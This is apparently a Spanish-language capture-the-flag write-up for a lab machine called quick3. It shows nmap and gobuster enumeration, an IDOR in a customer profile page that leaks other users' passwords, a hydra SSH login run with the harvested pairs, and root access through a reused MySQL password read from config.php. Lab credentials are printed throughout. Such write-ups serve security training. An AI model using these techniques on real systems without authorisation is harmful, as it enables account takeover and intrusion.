Enumeración de servicios
El objetivo sólo expone SSH y una aplicación web sobre Apache. Sin credenciales iniciales para SSH, continuamos la enumeración sobre HTTP:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.17
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-04 23:25 -04
Nmap scan report for 192.168.1.17
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelEnumeración web
Gobuster descubre /customer, una zona en la que es posible crear una cuenta legítima:
❯ gobuster dir -u 'http://192.168.1.17' -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,sql,png,gif,zip -r
...
/customer (Status: 200) [Size: 2175]
...Explotación del IDOR
Tras registrarnos, la vista My Profile identifica el registro mediante un ID controlado desde la URL. Al sustituirlo por otros valores, el servidor devuelve perfiles ajenos sin verificar que pertenezcan a nuestra sesión. Esto confirma un IDOR y permite recopilar pares de usuario y contraseña de otros clientes.
Guardamos los usuarios y contraseñas en listas separadas y comprobamos las combinaciones contra SSH. Esta fase valida credenciales ya expuestas por la aplicación; no intenta todas las combinaciones posibles de forma indiscriminada:
❯ hydra -L users.txt -P passwd.txt 192.168.1.17 ssh -t 64
...
[22][ssh] host: 192.168.1.17 login: mike password: 6G3UCx6aH6UYvJ6m
...Acceso inicial y enumeración local
Las credenciales de mike funcionan por SSH y permiten recuperar la primera flag. Durante la revisión del código web encontramos config.php, que contiene las credenciales de MySQL en texto claro:
mike@quick3:/var/www/html/customer$ cat config.php
<?php
// config.php
$conn = new mysqli('localhost', 'root', 'fastandquicktobefaster', 'quick');
...
?>Escalada por reutilización de contraseña
Que la cuenta de base de datos se llame root no significa que sea el usuario root del sistema. Sin embargo, probamos la contraseña porque su reutilización entre servicios es un error frecuente. su la acepta y cambia la identidad efectiva al administrador local:
mike@quick3:/var/www/html/customer$ su root
Password: fastandquicktobefaster
root@quick3:/var/www/html/customer#El prompt root@quick3 confirma que la contraseña también es válida para la cuenta local de root. Recuperamos la flag final y completamos la máquina.